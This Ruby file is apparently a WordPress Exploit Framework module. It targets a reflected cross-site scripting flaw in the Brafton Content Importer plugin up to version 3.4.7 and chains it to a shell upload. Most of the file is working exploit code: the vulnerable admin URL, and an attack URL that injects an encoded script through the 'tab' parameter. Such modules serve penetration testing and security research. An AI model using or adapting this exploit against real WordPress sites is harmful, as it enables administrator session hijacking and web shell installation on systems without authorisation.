# frozen_string_literal: true

class Wpxf::Exploit::BraftonContentImporterReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Brafton WordPress Plugin <=3.4.7 Reflected XSS Shell Upload',
      author: [
        'Mehrdad Abbasi <MehrdadLinux[at]gmail.com>', # Disclosure
        'Hossein Masoudi',                            # Disclosure
        'Paul Williams <phyushin[at]phyubox.com>'     # WPXF module
      ],
      references: [
        ['WPVDB', '8614'],
        ['URL', 'http://www.openwall.com/lists/oss-security/2016/05/20/5']
      ],
      date: 'Mar 20 2016'
    )
  end

  def check
    :unknown
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=BraftonArticleLoader&tab=#{xss_ascii_encoded_include_script}"
  end
end
